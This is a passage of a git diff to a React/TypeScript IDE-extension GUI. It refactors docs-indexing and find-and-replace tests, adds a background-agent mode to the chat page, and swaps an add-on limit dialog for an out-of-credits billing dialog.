mockIdeMessengerSetup(mockIdeMessenger); - } else { - mockIdeMessenger.request.mockResolvedValue({ - status: "success", - content: ["page1.html", "page2.html"], - }); - } + const { mockIdeMessenger, ...store } = createMockStore( + storeState, + mockMessenger, + ); const result = await act(async () => render( @@ -127,11 +121,16 @@ describe("DocsIndexingStatus", () => { }, }; - const { mockIdeMessenger } = await renderComponent({}, storeState); + const { mockIdeMessenger } = await renderComponent( + {}, + storeState, + new MockIdeMessenger(), + ); + const postSpy = vi.spyOn(mockIdeMessenger, "post"); const stopButton = screen.getByTestId("stop-indexing"); fireEvent.click(stopButton); - expect(mockIdeMessenger.post).toHaveBeenCalledWith("indexing/abort", { + expect(postSpy).toHaveBeenCalledWith("indexing/abort", { type: "docs", id: "https://example.com", }); @@ -171,10 +170,11 @@ describe("DocsIndexingStatus", () => { }; const { mockIdeMessenger } = await renderComponent({}, storeState); + const postSpy = vi.spyOn(mockIdeMessenger, "post"); const reindexButton = screen.getByTestId("reindex-docs"); fireEvent.click(reindexButton); - expect(mockIdeMessenger.post).toHaveBeenCalledWith("indexing/reindex", { + expect(postSpy).toHaveBeenCalledWith("indexing/reindex", { type: "docs", id: "https://example.com", }); @@ -195,13 +195,11 @@ describe("DocsIndexingStatus", () => { }; const { mockIdeMessenger } = await renderComponent({}, storeState); + const postSpy = vi.spyOn(mockIdeMessenger, "post"); const titleElement = screen.getByText("Example Docs"); fireEvent.click(titleElement); - expect(mockIdeMessenger.post).toHaveBeenCalledWith( - "openUrl", - "https://example.com/docs", - ); + expect(postSpy).toHaveBeenCalledWith("openUrl", "https://example.com/docs"); }); it("fetches indexed pages when status becomes complete", async () => { @@ -218,15 +216,13 @@ describe("DocsIndexingStatus", () => { }, }; - const { mockIdeMessenger } = await renderComponent({}, storeState); - + const mockMessenger = new MockIdeMessenger(); + const spy = vi.spyOn(mockMessenger, "request"); + await renderComponent({}, storeState, mockMessenger); await waitFor(() => { - expect(mockIdeMessenger.request).toHaveBeenCalledWith( - "docs/getIndexedPages", - { - startUrl: "https://example.com", - }, - ); + expect(spy).toHaveBeenCalledWith("docs/getIndexedPages", { + startUrl: "https://example.com", + }); }); }); @@ -244,12 +240,13 @@ describe("DocsIndexingStatus", () => { }, }; - await renderComponent({}, storeState, (mockIdeMessenger) => { - mockIdeMessenger.request.mockResolvedValue({ - status: "success", - content: ["page1.html", "page2.html", "page3.html"], - }); - }); + const mockMessenger = new MockIdeMessenger(); + mockMessenger.responses["docs/getIndexedPages"] = [ + "page1.html", + "page2.html", + "page3.html", + ]; + await renderComponent({}, storeState, mockMessenger); await waitFor(() => { expect(screen.getByText("3 pages indexed")).toBeInTheDocument(); @@ -270,12 +267,9 @@ describe("DocsIndexingStatus", () => { }, }; - await renderComponent({}, storeState, (mockIdeMessenger) => { - mockIdeMessenger.request.mockResolvedValue({ - status: "success", - content: ["page1.html"], - }); - }); + const mockMessenger = new MockIdeMessenger(); + mockMessenger.responses["docs/getIndexedPages"] = ["page1.html"]; + await renderComponent({}, storeState, mockMessenger); await waitFor(() => { expect(screen.getByText("1 page indexed")).toBeInTheDocument(); @@ -317,12 +311,11 @@ describe("DocsIndexingStatus", () => { }, }; - await renderComponent({}, storeState, (mockIdeMessenger) => { - mockIdeMessenger.request.mockResolvedValue({ - status: "error", - error: "Failed to fetch pages", - }); - }); + const mockMessenger = new MockIdeMessenger(); + mockMessenger.responseHandlers["docs/getIndexedPages"] = async (data) => { + throw new Error("Failed to fetch pages"); + }; + await renderComponent({}, storeState, mockMessenger); await waitFor(() => { expect(consoleSpy).toHaveBeenCalledWith( @@ -357,10 +350,12 @@ describe("DocsIndexingStatus", () => { }, }; - await renderComponent({}, storeState, (mockIdeMessenger) => { - // Mock a delayed response to keep in loading state - mockIdeMessenger.request.mockImplementation(() => new Promise(() => {})); - }); + const mockMessenger = new MockIdeMessenger(); + mockMessenger.responseHandlers["docs/getIndexedPages"] = async (data) => { + await new Promise((resolve) => setTimeout(resolve, 1000)); + return []; + }; + await renderComponent({}, storeState, mockMessenger); expect(screen.getByText("Loading site info...")).toBeInTheDocument(); }); diff --git a/gui/src/pages/config/sections/docs/DocsIndexingStatus.tsx b/gui/src/pages/config/sections/docs/DocsIndexingStatus.tsx index acd5775e5..1127ad6c7 100644 --- a/gui/src/pages/config/sections/docs/DocsIndexingStatus.tsx +++ b/gui/src/pages/config/sections/docs/DocsIndexingStatus.tsx @@ -1,7 +1,14 @@ import { ConfigYaml } from "@continuedev/config-yaml"; -import { ArrowPathIcon, StopIcon } from "@heroicons/react/24/outline"; +import { + ArrowPathIcon, + PencilIcon, + StopIcon, +} from "@heroicons/react/24/outline"; import { SiteIndexingConfig } from "core"; import { useContext, useEffect, useMemo, useState } from "react"; +import ConfirmationDialog from "../../../../components/dialogs/ConfirmationDialog"; +import { ToolTip } from "../../../../components/gui/Tooltip"; +import { useEditDoc } from "../../../../components/mainInput/Lump/useEditBlock"; import { IdeMessengerContext } from "../../../../context/IdeMessenger"; import { useAppDispatch, useAppSelector } from "../../../../redux/hooks"; import { updateIndexingStatus } from "../../../../redux/slices/indexingSlice"; @@ -10,9 +17,6 @@ import { setShowDialog, } from "../../../../redux/slices/uiSlice"; import { fontSize } from "../../../../util"; -import ConfirmationDialog from "../../../../components/dialogs/ConfirmationDialog"; -import { ToolTip } from "../../../../components/gui/Tooltip"; -import EditBlockButton from "../../../../components/mainInput/Lump/EditBlockButton"; import { IndexedPagesTooltip } from "./IndexedPagesTooltip"; import { StatusIndicator } from "./StatusIndicator"; @@ -25,6 +29,7 @@ function DocsIndexingStatus({ docConfig, docFromYaml, }: IndexingStatusViewerProps) { + const editDoc = useEditDoc(); const ideMessenger = useContext(IdeMessengerContext); const dispatch = useAppDispatch(); const [indexedPages, setIndexedPages] = useState(null); @@ -159,10 +164,11 @@ function DocsIndexingStatus({ /> )} - editDoc(docFromYaml)} /> {["aborted", "complete", "failed"].includes( diff --git a/gui/src/pages/config/sections/docs/IndexedPagesTooltip.test.tsx b/gui/src/pages/config/sections/docs/IndexedPagesTooltip.test.tsx index 80a620a01..c5d0d5b4d 100644 --- a/gui/src/pages/config/sections/docs/IndexedPagesTooltip.test.tsx +++ b/gui/src/pages/config/sections/docs/IndexedPagesTooltip.test.tsx @@ -84,28 +84,23 @@ describe("IndexedPagesTooltip", () => { it("opens URL when page is clicked", () => { const { mockIdeMessenger } = renderComponent(); - + const spy = vi.spyOn(mockIdeMessenger, "post"); const pageLink = screen.getByText("/page1"); fireEvent.click(pageLink); - expect(mockIdeMessenger.post).toHaveBeenCalledWith( - "openUrl", - "https://example.com/page1", - ); + expect(spy).toHaveBeenCalledWith("openUrl", "https://example.com/page1"); }); it("opens each page URL correctly when clicked", () => { const { mockIdeMessenger } = renderComponent(); + const spy = vi.spyOn(mockIdeMessenger, "post"); // Click on different pages fireEvent.click(screen.getByText("/page2")); - expect(mockIdeMessenger.post).toHaveBeenCalledWith( - "openUrl", - "https://example.com/page2", - ); + expect(spy).toHaveBeenCalledWith("openUrl", "https://example.com/page2"); fireEvent.click(screen.getByText("/sub/page3")); - expect(mockIdeMessenger.post).toHaveBeenCalledWith( + expect(spy).toHaveBeenCalledWith( "openUrl", "https://example.com/sub/page3", ); diff --git a/gui/src/pages/gui/Chat.tsx b/gui/src/pages/gui/Chat.tsx index 08ca69498..f0ddad002 100644 --- a/gui/src/pages/gui/Chat.tsx +++ b/gui/src/pages/gui/Chat.tsx @@ -31,6 +31,7 @@ import { selectDoneApplyStates, selectPendingToolCalls, } from "../../redux/selectors/selectToolCalls"; +import { selectCurrentOrg } from "../../redux/slices/profilesSlice"; import { cancelToolCall, ChatHistoryItemWithMessageId, @@ -43,14 +44,18 @@ import { streamResponseThunk } from "../../redux/thunks/streamResponse"; import { isJetBrains, isMetaEquivalentKeyPressed } from "../../util"; import { ToolCallDiv } from "./ToolCallDiv"; +import { useStore } from "react-redux"; +import { BackgroundModeView } from "../../components/BackgroundMode/BackgroundModeView"; +import { CliInstallBanner } from "../../components/CliInstallBanner"; + import { FatalErrorIndicator } from "../../components/config/FatalErrorNotice"; import InlineErrorMessage from "../../components/mainInput/InlineErrorMessage"; +import { resolveEditorContent } from "../../components/mainInput/TipTapEditor/utils/resolveEditorContent"; +import { RootState } from "../../redux/store"; import { cancelStream } from "../../redux/thunks/cancelStream"; import { EmptyChatBody } from "./EmptyChatBody"; import { ExploreDialogWatcher } from "./ExploreDialogWatcher"; import { useAutoScroll } from "./useAutoScroll"; -import { useStore } from "react-redux"; -import { RootState } from "../../redux/store"; // Helper function to find the index of the latest conversation summary function findLatestSummaryIndex(history: ChatHistoryItem[]): number { @@ -107,6 +112,7 @@ export function Chat() { ); const isStreaming = useAppSelector((state) => state.session.isStreaming); const [stepsOpen] = useState<(boolean | undefined)[]>([]); + const [isCreatingAgent, setIsCreatingAgent] = useState(false); const mainTextInputRef = useRef(null); const stepsDivRef = useRef(null); const tabsRef = useRef(null); @@ -118,9 +124,14 @@ export function Chat() { const isInEdit = useAppSelector((store) => store.session.isInEdit); const lastSessionId = useAppSelector((state) => state.session.lastSessionId); + const allSessionMetadata = useAppSelector( + (state) => state.session.allSessionMetadata, + ); const hasDismissedExploreDialog = useAppSelector( (state) => state.ui.hasDismissedExploreDialog, ); + const mode = useAppSelector((state) => state.session.mode); + const currentOrg = useAppSelector(selectCurrentOrg); const jetbrains = useMemo(() => { return isJetBrains(); }, []); @@ -165,6 +176,57 @@ export function Chat() { const codeToEditSnapshot = stateSnapshot.editModeState.codeToEdit; const selectedModelByRole = stateSnapshot.config.config.selectedModelByRole; + const currentMode = stateSnapshot.session.mode; + + // Handle background mode specially + if (currentMode === "background" && !isCurrentlyInEdit) { + // Background mode triggers agent creation instead of chat + const currentOrg = selectCurrentOrg(stateSnapshot); + const organizationId = + currentOrg?.id !== "personal" ? currentOrg?.id : undefined; + + setIsCreatingAgent(true); + + // Create agent and track loading state + void (async () => { + try { + // Resolve context items from editor content (same as normal chat) + const defaultContextProviders = + stateSnapshot.config.config.experimental?.defaultContext ?? []; + + const { selectedContextItems, selectedCode, content } = + await resolveEditorContent({ + editorState, + modifiers, + ideMessenger, + defaultContextProviders, + availableSlashCommands: + stateSnapshot.config.config.slashCommands, + dispatch, + getState: () => reduxStore.getState(), + }); + + await ideMessenger.request("createBackgroundAgent", { + content, + contextItems: selectedContextItems, + selectedCode, + organizationId, + }); + + // Clear input only after successful API call + if (editorToClearOnSend) { + editorToClearOnSend.commands.clearContent(); + } + + setIsCreatingAgent(false); + } catch (error) { + console.error("Failed to create background agent:", error); + setIsCreatingAgent(false); + } + })(); + + return; + } // Cancel all pending tool calls latestPendingToolCalls.forEach((toolCallState) => { @@ -193,30 +255,6 @@ export function Chat() { return; } - // TODO - hook up with hub to detect free trial progress - // if (model.provider === "free-trial") { - // const newCount = incrementFreeTrialCount(); - - // if (newCount === FREE_TRIAL_LIMIT_REQUESTS) { - // posthog?.capture("ftc_reached"); - // } - // if (newCount >= FREE_TRIAL_LIMIT_REQUESTS) { - // // Show this message whether using platform or not - // // So that something happens if in new chat - // void ideMessenger.ide.showToast( - // "error", - // "You've reached the free trial limit. Please configure a model to continue.", - // ); - - // // If history, show the dialog, which will automatically close if there is not history - // if (history.length) { - // dispatch(setDialogMessage()); - // dispatch(setShowDialog(true)); - // } - // return; - // } - // } - if (isCurrentlyInEdit) { void dispatch( streamEditThunk({ @@ -232,7 +270,7 @@ export function Chat() { } } }, - [dispatch, ideMessenger, reduxStore], + [dispatch, ideMessenger, reduxStore, setIsCreatingAgent], ); useWebviewListener( @@ -347,7 +385,7 @@ export function Chat() { redactedThinking={message.redactedThinking} index={index} prevItem={index > 0 ? history[index - 1] : null} - inProgress={index === history.length - 1} + inProgress={index === history.length - 1 && isStreaming} signature={message.signature} />
@@ -375,7 +413,7 @@ export function Chat() {
); }, - [sendInput, isLastUserInput, history, stepsOpen], + [sendInput, isLastUserInput, history, stepsOpen, isStreaming], ); const showScrollbar = showChatScrollbar ?? window.innerHeight > 5000; @@ -421,6 +459,12 @@ export function Chat() { inputId={MAIN_EDITOR_INPUT_ID} /> + +
{ - await dispatch( - loadLastSession({ - saveCurrentSession: true, - }), - ); + await dispatch(loadLastSession()); }} className="flex items-center gap-2" > @@ -447,8 +487,12 @@ export function Chat() {
{!hasDismissedExploreDialog && } - {history.length === 0 && ( - + {mode === "background" ? ( + + ) : ( + history.length === 0 && ( + + ) )}
diff --git a/gui/src/pages/gui/EmptyChatBody.tsx b/gui/src/pages/gui/EmptyChatBody.tsx index 54185f597..a2bfe39cc 100644 --- a/gui/src/pages/gui/EmptyChatBody.tsx +++ b/gui/src/pages/gui/EmptyChatBody.tsx @@ -1,5 +1,4 @@ import { ConversationStarterCards } from "../../components/ConversationStarters"; -import { ExploreHubCard } from "../../components/ExploreHubCard"; import { OnboardingCard } from "../../components/OnboardingCard"; export interface EmptyChatBodyProps { @@ -17,7 +16,6 @@ export function EmptyChatBody({ showOnboardingCard }: EmptyChatBodyProps) { return (
-
); diff --git a/gui/src/pages/gui/ModelsAddOnLimitDialog.tsx b/gui/src/pages/gui/ModelsAddOnLimitDialog.tsx deleted file mode 100644 index 3f38623f8..000000000 --- a/gui/src/pages/gui/ModelsAddOnLimitDialog.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import { DISCORD_LINK, GITHUB_LINK } from "core/util/constants"; -import { useContext } from "react"; -import { SecondaryButton } from "../../components"; -import { DiscordIcon } from "../../components/svg/DiscordIcon"; -import { GithubIcon } from "../../components/svg/GithubIcon"; -import { IdeMessengerContext } from "../../context/IdeMessenger"; - -export function ModelsAddOnLimitDialog() { - const ideMessenger = useContext(IdeMessengerContext); - - return ( -
-

Models Add-On Limit Reached

- -
- - You have reached the monthly limit for chat requests with the Models - Add-On. This limit exists to avoid abuse, but if this happened from - normal usage we encourage you to contact us on GitHub or Discord - -
- { - ideMessenger.post("openUrl", GITHUB_LINK); - }} - > - - Github - - { - ideMessenger.post("openUrl", DISCORD_LINK); - }} - > - - Discord - -
-
-
- ); -} diff --git a/gui/src/pages/gui/OutOfCreditsDialog.tsx b/gui/src/pages/gui/OutOfCreditsDialog.tsx new file mode 100644 index 000000000..ac10bd9d5 --- /dev/null +++ b/gui/src/pages/gui/OutOfCreditsDialog.tsx @@ -0,0 +1,34 @@ +import { CreditCardIcon } from "@heroicons/react/24/outline"; +import { useContext } from "react"; +import { SecondaryButton } from "../../components"; +import { IdeMessengerContext } from "../../context/IdeMessenger"; + +export function OutOfCreditsDialog() { + const ideMessenger = useContext(IdeMessengerContext); + + return ( +
+

You're out of credits!

+ +
+ + To purchase more or set up auto top-up, click below to visit the + billing page: + +
+ { + ideMessenger.post("controlPlane/openUrl", { + path: "/settings/billing", + }); + }} + > + + Purchase Credits + +
+
+
+ ); +} diff --git a/gui/src/pages/gui/StreamError.tsx b/gui/src/pages/gui/StreamError.tsx index bbb75b141..e06cf8d75 100644 --- a/gui/src/pages/gui/StreamError.tsx +++ b/gui/src/pages/gui/StreamError.tsx @@ -8,6 +8,7 @@ import { import { DISCORD_LINK, GITHUB_LINK } from "core/util/constants"; import { useContext, useMemo } from "react"; import { GhostButton, SecondaryButton } from "../../components"; +import { useEditModel } from "../../components/mainInput/Lump/useEditBlock"; import { useMainEditor } from "../../components/mainInput/TipTapEditor"; import { DiscordIcon } from "../../components/svg/DiscordIcon"; import { GithubIcon } from "../../components/svg/GithubIcon"; @@ -21,7 +22,7 @@ import { setDialogMessage, setShowDialog } from "../../redux/slices/uiSlice"; import { streamResponseThunk } from "../../redux/thunks/streamResponse"; import { isLocalProfile } from "../../util"; import { analyzeError } from "../../util/errorAnalysis"; -import { ModelsAddOnLimitDialog } from "./ModelsAddOnLimitDialog"; +import { OutOfCreditsDialog } from "./OutOfCreditsDialog"; interface StreamErrorProps { error: unknown; @@ -66,15 +67,12 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { ) : null; + const handleEditModel = useEditModel(); + const configButton = ( { - ideMessenger.post("config/openProfile", { - profileId: undefined, - element: selectedModel ?? undefined, - }); - }} + onClick={() => handleEditModel(selectedModel)} > View config @@ -123,10 +121,8 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { ); - if ( - parsedError === "You have exceeded the chat limit for the Models Add-On." - ) { - return ; + if (parsedError.includes("You're out of credits!")) { + return ; } let errorContent = ( @@ -290,10 +286,7 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { { - ideMessenger.post("controlPlane/openUrl", { - path: GITHUB_LINK, - orgSlug: undefined, - }); + ideMessenger.post("openUrl", GITHUB_LINK); }} > @@ -302,10 +295,7 @@ const StreamErrorDialog = ({ error }: StreamErrorProps) => { { - ideMessenger.post("controlPlane/openUrl", { - path: DISCORD_LINK, - orgSlug: undefined, - }); + ideMessenger.post("openUrl", DISCORD_LINK); }} > diff --git a/gui/src/pages/gui/ToolCallDiv/FindAndReplace.test.tsx b/gui/src/pages/gui/ToolCallDiv/FindAndReplace.test.tsx index 966cb075b..e300451f3 100644 --- a/gui/src/pages/gui/ToolCallDiv/FindAndReplace.test.tsx +++ b/gui/src/pages/gui/ToolCallDiv/FindAndReplace.test.tsx @@ -19,16 +19,9 @@ vi.mock("../../../components/ui", () => ({ useFontSize: () => 14, })); -vi.mock("../../../util/clientTools/findAndReplaceUtils", async () => { - const actual = await vi.importActual( - "../../../util/clientTools/findAndReplaceUtils", - ); - - return { - performFindAndReplace: vi.fn(), - trimEmptyLines: actual.trimEmptyLines, - }; -}); +vi.mock("core/edit/searchAndReplace/performReplace", () => ({ + executeFindAndReplace: vi.fn(), +})); vi.mock("./utils", () => ({ getStatusIcon: vi.fn(() =>
✓
), @@ -43,12 +36,12 @@ vi.mock("react", async () => { }); // Import mocked modules +import { executeFindAndReplace } from "core/edit/searchAndReplace/performReplace"; import { useAppSelector } from "../../../redux/hooks"; -import { performFindAndReplace } from "../../../util/clientTools/findAndReplaceUtils"; const mockPost = vi.fn(); const mockUseAppSelector = useAppSelector as any; -const mockPerformFindAndReplace = performFindAndReplace as any; +const mockExecuteFindAndReplace = executeFindAndReplace as any; describe("FindAndReplaceDisplay", () => { const defaultProps = { @@ -100,7 +93,7 @@ describe("FindAndReplaceDisplay", () => { return selector(mockState); }); - mockPerformFindAndReplace.mockImplementation( + mockExecuteFindAndReplace.mockImplementation( (content: string, oldStr: string, newStr: string) => { return content.replace(oldStr, newStr); }, @@ -224,7 +217,7 @@ describe("FindAndReplaceDisplay", () => { }, ] as EditOperation[]; - mockPerformFindAndReplace + mockExecuteFindAndReplace .mockReturnValueOnce("const new = 'value';\nconst other = 'test';") .mockReturnValueOnce("const new = 'value';\nconst other = 'updated';"); @@ -233,11 +226,11 @@ describe("FindAndReplaceDisplay", () => { const toggleButton = screen.getByTestId("toggle-find-and-replace-diff"); fireEvent.click(toggleButton); - expect(mockPerformFindAndReplace).toHaveBeenCalledTimes(2); + expect(mockExecuteFindAndReplace).toHaveBeenCalledTimes(2); }); it("should handle diff generation errors", () => { - mockPerformFindAndReplace.mockImplementation(() => { + mockExecuteFindAndReplace.mockImplementation(() => { throw new Error("Test error"); }); @@ -252,7 +245,7 @@ describe("FindAndReplaceDisplay", () => { it("should show 'No changes to display' when diff is empty", () => { // Mock the function to return the exact same content (no changes) - mockPerformFindAndReplace.mockReturnValue( + mockExecuteFindAndReplace.mockReturnValue( defaultProps.editingFileContents, ); @@ -322,7 +315,7 @@ describe("FindAndReplaceDisplay", () => { const toggleButton = screen.getByTestId("toggle-find-and-replace-diff"); fireEvent.click(toggleButton); - expect(mockPerformFindAndReplace).toHaveBeenCalledWith( + expect(mockExecuteFindAndReplace).toHaveBeenCalledWith( "const old = 'value';\nconst other = 'test';", "const old = 'value';", "const new = 'value';", @@ -342,7 +335,7 @@ describe("FindAndReplaceDisplay", () => { const toggleButton = screen.getByTestId("toggle-find-and-replace-diff"); fireEvent.click(toggleButton); - expect(mockPerformFindAndReplace).toHaveBeenCalledWith( + expect(mockExecuteFindAndReplace).toHaveBeenCalledWith( "const old = 'value';", "const old = 'value';", "const new = 'value';", diff --git a/gui/src/pages/gui/ToolCallDiv/FindAndReplace.tsx b/gui/src/pages/gui/ToolCallDiv/FindAndReplace.tsx index d69517740..95afc2d89 100644 --- a/gui/src/pages/gui/ToolCallDiv/FindAndReplace.tsx +++ b/gui/src/pages/gui/ToolCallDiv/FindAndReplace.tsx @@ -1,5 +1,7 @@ import { ChevronDownIcon } from "@heroicons/react/24/outline"; import { ApplyState } from "core"; +import { trimEmptyLines } from "core/edit/searchAndReplace/findAndReplaceUtils"; +import { executeFindAndReplace } from "core/edit/searchAndReplace/performReplace"; import { EditOperation } from "core/tools/definitions/multiEdit"; import { renderContextItems } from "core/util/messageContent"; import { getLastNPathParts, getUriPathBasename } from "core/util/uri"; @@ -13,16 +15,13 @@ import { selectApplyStateByToolCallId, selectToolCallById, } from "../../../redux/selectors/selectToolCalls"; -import { - performFindAndReplace, - trimEmptyLines, -} from "../../../util/clientTools/findAndReplaceUtils"; import { cn } from "../../../util/cn"; import { getStatusIcon } from "./utils"; interface FindAndReplaceDisplayProps { - fileUri?: string; - editingFileContents?: string; + fileUri?: string; // Added during args preprocessing + newFileContents?: string; // Added during args preprocessing + editingFileContents?: string; // Added args preprocessing relativeFilePath?: string; edits: EditOperation[]; toolCallId: string; @@ -86,6 +85,7 @@ function DiffStats({ added, removed }: { added: number; removed: number }) { export function FindAndReplaceDisplay({ fileUri, + newFileContents, relativeFilePath, editingFileContents, edits, @@ -119,43 +119,44 @@ export function FindAndReplaceDisplay({ if (editingFileContents) { return editingFileContents; } - return edits?.map((edit) => edit.old_string ?? "").join("\n"); + if (Array.isArray(edits)) { + return edits.map((edit) => edit.old_string ?? "").join("\n"); + } + return ""; }, [editingFileContents, edits]); const diffResult = useMemo(() => { - if (!currentFileContent) { - return null; - } - try { - // Apply all edits sequentially - let newContent = currentFileContent; - for (let i = 0; i < edits.length; i++) { - const { - old_string: oldString, - new_string: newString, - replace_all: replaceAll, - } = edits[i]; - newContent = performFindAndReplace( - newContent, - oldString, - newString, - replaceAll, - i, - ); + let contentsAfterReplace = newFileContents; + if (typeof contentsAfterReplace === "undefined") { + // Apply all edits sequentially + contentsAfterReplace = currentFileContent; + for (let i = 0; i < edits.length; i++) { + const { + old_string: oldString, + new_string: newString, + replace_all: replaceAll, + } = edits[i]; + contentsAfterReplace = executeFindAndReplace( + contentsAfterReplace, + oldString, + newString, + !!replaceAll, + i, + ); + } } // Generate diff between original and final content - const diff = diffLines(currentFileContent, newContent); - return { diff, newContent, error: null }; + const diff = diffLines(currentFileContent, contentsAfterReplace); + return { diff, error: null }; } catch (error) { return { diff: null, - newContent: null, error: error instanceof Error ? error.message : "Unknown error", }; } - }, [currentFileContent, edits]); + }, [currentFileContent, newFileContents, edits]); const diffStats = useMemo(() => { if (!diffResult?.diff) { @@ -184,24 +185,22 @@ export function FindAndReplaceDisplay({ const statusIcon = useMemo(() => { const status = toolCallState?.status; if (status) { - if (status === "canceled" || status === "errored" || status === "done") { - return ( -
{ - if (toolCallState.output) { - e.stopPropagation(); - ideMessenger.post("showVirtualFile", { - name: "Edit output", - content: renderContextItems(toolCallState.output), - }); - } - }} - > - {getStatusIcon(toolCallState.status)} -
- ); - } + return ( +
{ + if (toolCallState.output) { + e.stopPropagation(); + ideMessenger.post("showVirtualFile", { + name: "Edit output", + content: renderContextItems(toolCallState.output), + }); + } + }} + > + {getStatusIcon(status)} +
+ ); } }, [toolCallState?.status, toolCallState?.output]); diff --git a/gui/src/pages/gui/ToolCallDiv/FunctionSpecificToolCallDiv.tsx b/gui/src/pages/gui/ToolCallDiv/FunctionSpecificToolCallDiv.tsx index 010035c79..ed00060a4 100644 --- a/gui/src/pages/gui/ToolCallDiv/FunctionSpecificToolCallDiv.tsx +++ b/gui/src/pages/gui/ToolCallDiv/FunctionSpecificToolCallDiv.tsx @@ -14,6 +14,7 @@ function FunctionSpecificToolCallDiv({ historyIndex: number; }) { const args = toolCallState.parsedArgs; + const processedArgs = toolCallState.processedArgs; const toolCall = toolCallState.toolCall; switch (toolCall.function?.name) { @@ -28,8 +29,8 @@ function FunctionSpecificToolCallDiv({ case BuiltInToolNames.EditExistingFile: return ( @@ -37,16 +38,17 @@ function FunctionSpecificToolCallDiv({ case BuiltInToolNames.SingleFindAndReplace: const edits: EditOperation[] = [ { - old_string: args?.old_string ?? "", - new_string: args?.new_string ?? "", - replace_all: args?.replace_all, + old_string: processedArgs?.old_string ?? args?.old_string ?? "", + new_string: processedArgs?.new_string ?? args?.new_string ?? "", + replace_all: processedArgs?.replace_all ?? args?.replace_all, }, ]; return ( diff --git a/gui/src/pages/gui/ToolCallDiv/SimpleToolCallUI.tsx b/gui/src/pages/gui/ToolCallDiv/SimpleToolCallUI.tsx index b9fa4777d..d875af8f0 100644 --- a/gui/src/pages/gui/ToolCallDiv/SimpleToolCallUI.tsx +++ b/gui/src/pages/gui/ToolCallDiv/SimpleToolCallUI.tsx @@ -7,6 +7,7 @@ import { import { IdeMessengerContext } from "../../../context/IdeMessenger"; import { ToggleWithIcon } from "./ToggleWithIcon"; import { ToolCallStatusMessage } from "./ToolCallStatusMessage"; +import { ToolTruncateHistoryIcon } from "./ToolTruncateHistoryIcon"; import { toolCallStateToContextItems } from "./utils"; interface SimpleToolCallUIProps { @@ -61,6 +62,10 @@ export function SimpleToolCallUI({ />
+ + {!!toolCallState.output?.length && ( + + )}
{isToggleable && ( diff --git a/gui/src/pages/gui/ToolCallDiv/ToolCallDisplay.tsx b/gui/src/pages/gui/ToolCallDiv/ToolCallDisplay.tsx index f5a660050..afc832591 100644 --- a/gui/src/pages/gui/ToolCallDiv/ToolCallDisplay.tsx +++ b/gui/src/pages/gui/ToolCallDiv/ToolCallDisplay.tsx @@ -1,5 +1,10 @@ import { Tool, ToolCallState } from "core"; +import { useContext, useMemo } from "react"; +import { openContextItem } from "../../../components/mainInput/belowMainInput/ContextItemsPeek"; +import { IdeMessengerContext } from "../../../context/IdeMessenger"; import { ToolCallStatusMessage } from "./ToolCallStatusMessage"; +import { toolCallStateToContextItems } from "./utils"; +import { ToolTruncateHistoryIcon } from "./ToolTruncateHistoryIcon"; interface ToolCallDisplayProps { children: React.ReactNode; @@ -16,11 +21,29 @@ export function ToolCallDisplay({ icon, historyIndex, }: ToolCallDisplayProps) { + const ideMessenger = useContext(IdeMessengerContext); + const shownContextItems = useMemo(() => { + const contextItems = toolCallStateToContextItems(toolCallState); + return contextItems.filter((item) => !item.hidden); + }, [toolCallState]); + + const isClickable = shownContextItems.length > 0; + + function handleClick() { + if (shownContextItems.length > 0) { + openContextItem(shownContextItems[0], ideMessenger); + } + } return (
-
-
+
+
{icon}
@@ -29,6 +52,9 @@ export function ToolCallDisplay({ )}
+ {!!toolCallState.output?.length && ( + + )}
{children}
diff --git a/gui/src/pages/gui/ToolCallDiv/ToolCallStatusMessage.tsx b/gui/src/pages/gui/ToolCallDiv/ToolCallStatusMessage.tsx index 4a88fd7cb..c633b0514 100644 --- a/gui/src/pages/gui/ToolCallDiv/ToolCallStatusMessage.tsx +++ b/gui/src/pages/gui/ToolCallDiv/ToolCallStatusMessage.tsx @@ -53,7 +53,7 @@ export function ToolCallStatusMessage({ return (
{`Continue ${intro} ${message}`} diff --git a/gui/src/pages/gui/ToolCallDiv/ToolTruncateHistoryIcon.tsx b/gui/src/pages/gui/ToolCallDiv/ToolTruncateHistoryIcon.tsx index d28cd9328..dc5c2a03b 100644 --- a/gui/src/pages/gui/ToolCallDiv/ToolTruncateHistoryIcon.tsx +++ b/gui/src/pages/gui/ToolCallDiv/ToolTruncateHistoryIcon.tsx @@ -21,7 +21,8 @@ export function ToolTruncateHistoryIcon({ const { mainEditor } = useMainEditor(); if (historyIndex === lastMessageIndex) { - return null; + // filler so doesn't jump in + return
; } return ( diff --git a/gui/src/pages/gui/chat-tests/EditToolScenarios.test.tsx b/gui/src/pages/gui/chat-tests/EditToolScenarios.test.tsx index dd95e09a9..b06264f8d 100644 --- a/gui/src/pages/gui/chat-tests/EditToolScenarios.test.tsx +++ b/gui/src/pages/gui/chat-tests/EditToolScenarios.test.tsx @@ -1,9 +1,4 @@ import { BuiltInToolNames } from "core/tools/builtIn"; -import { generateToolCallButtonTestId } from "../../../components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar"; -import { - addAndSelectMockLlm, - triggerConfigUpdate, -} from "../../../util/test/config"; import { updateConfig } from "../../../redux/slices/configSlice"; import { renderWithProviders } from "../../../util/test/render"; import { Chat } from "../Chat"; @@ -11,7 +6,6 @@ import { Chat } from "../Chat"; import { waitFor } from "@testing-library/dom"; import { act } from "@testing-library/react"; import { ChatMessage } from "core"; -import { setToolPolicy } from "../../../redux/slices/uiSlice"; import { setInactive } from "../../../redux/slices/sessionSlice"; import { getElementByTestId, @@ -133,12 +127,6 @@ test( await user.click(toggleCodeblockChevron); await getElementByText(EDIT_CHANGES); - // Pending tool call - find and click the accept button - const acceptToolCallButton = await getElementByTestId( - generateToolCallButtonTestId("accept", EDIT_TOOL_CALL_ID), - ); - await user.click(acceptToolCallButton); - // Tool call, check that applyToFile was called for edit await waitFor(() => { expect(messengerRequestSpy).toHaveBeenCalledWith("applyToFile", { diff --git a/gui/src/pages/gui/chat-tests/EditToolScenariosYolo.test.tsx b/gui/src/pages/gui/chat-tests/EditToolScenariosYolo.test.tsx deleted file mode 100644 index c13d46773..000000000 --- a/gui/src/pages/gui/chat-tests/EditToolScenariosYolo.test.tsx +++ /dev/null @@ -1,228 +0,0 @@ -import { BuiltInToolNames } from "core/tools/builtIn"; -import { generateToolCallButtonTestId } from "../../../components/mainInput/Lump/LumpToolbar/PendingToolCallToolbar"; -import { 